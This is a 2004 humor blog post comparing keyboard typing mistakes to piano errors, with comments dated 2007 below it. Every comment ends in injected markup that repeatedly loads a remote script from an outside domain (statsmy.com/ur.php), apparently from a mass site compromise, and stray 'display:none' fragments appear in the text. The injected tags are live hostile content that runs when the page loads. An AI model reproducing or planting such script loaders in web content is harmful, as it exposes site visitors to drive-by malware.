Fun Infused Games  |   Evil Scale  |   Wellplayed.net  |   KrisSteele.net  |   Starcraft Live  |   Fun Pages  |   Your ad here. Twitter RSS 
x
Logon
Register
     
x
     
Home  Archive  Search  Forum  Members  Subscribe  Links  About  Advertise
bEAM mE uP sCOTTY!
by Mark on 3/28/2004 (3)

Playing a computer keyboard is just like playing the piano. Anyone who has mistaken F minor for F# knows the drill, and so does the audience! Here are some common sour notes unique to the old 106 ergo softkey:

1. Caps inversion: This is a timeless classic invoking images of inverted Bach. This common dischord ocurrs when the caps key is left on, and often happens when one is typing far too quickly, as on a message board. Instead of reading:

"Bull Nuts! Bush-Cheney in 2004! Kerry sucks!"

reads:

"bULL nUTS! bUSH-cHENEY IN 2004! kERRY SUCKS!"

Perhaps the costliest of all errors, the caps inversion tends to render serious statements into Dr. Seuss whimsical ones.

2. Premature key release: The bane of Sonata lovers, this error ocurrs when the shift key is released too soon. The most common example is the 1 key, with an exclamation point upon shift. When shouting "Fark you!!!!!!!!!!!!!!!1111", releasing the shift key early results in a numerical one "tail", indicating the player is so hepped to move onto the next note, a proper sustain is not observed. Flame warriors are notorious for premature key release, along with premature other things.

3. O-0 inversion: Poor hand-eye control is the hallmark of these two common errors. The zero (0) key is often visually mistaken for an O. While the resulting chord is still recognizable, it is somewhat skewed, as in "Web p0rn". Inversion can sometimes be used in a deliberate, cunningly creative fashion, as in "Crap0rama" or "phiber0ptic". Only advanced students with a history of FBI investigation should consider using the inversion on purpose.

4.Illegal substitution: A great deal of care must be executed to insure this error does not ocurr. Two legal substitutions for the word "boobies" are: (.)(.) and: ^ ^ (choice depending on tilt/location of the players head). An illegal substitution for the word boobies is :P(.)(.)

Although :P(.)(.) is embraced by New Age composers, it is considered a bit too brassy and risque' by Classicists.

5. Number lock failure: Failure to secure the number lock can be catastrophic. As all experienced key jockeys know, turning off the number lock turns the number keypad into a up/down/sideways cursor.

Attempting to type "A1-B2-C3-D4-E5-G6-H7-I8" results in:

"-IA-B-C--E-GD-H"

Completely nonsensical, although some scholars have suggested that number lock failure is how Nazi U-boat codes were cracked in WWII.

Watch for lesson number 2, "Spac e bar manag ment ", coming soon!

isplay:non0" style="display:no


Wellplayed.net


page has been viewed 7178 times


 
Comments

1. by feaglin on 3/1/2007 4:52:29 PM
I think, and don't take MY word for it, that F minor does not exist. Half a tone lower than F is E. It's one of two exceptions to the rule, just like there is no B# or C minor.n.ru </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Crap0rama on 3/1/2007 4:52:29 PM
I'm suing you for using my name without my permission. Signed, Crap0raman.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by boobies on 3/1/2007 4:52:29 PM
boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobies boobiesisplay:none"> </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


Name
Comment
Verify
What animal is this a picture of?


x Enter the simple name for this animal... i.e., if you see a "north american grizzly bear", just enter "bear".
 
Surround you text with the following tags to use special formatting:
[B][/B] for Bold text.
[I][/I] for Italic text.
[QUOTE][/QUOTE] for a quote.

For example, in order to write "Smthop rules" in bold, you would enter: [B]Smthop rules[/B].



x
 
 
 


 
x

BetUS.com
 

 
x

More referrals |  Add Site
 

 
Business   Editorials   Education   Entertainment   Feature   Food   Health   Law   Politics   Religeon   Site News   Space   Sports   Tech   US News   Video Games   World News  
 

HumorFeed




Copyright 2010 Smooth Operator.
Website Design by SteeleITS - Privacy Policy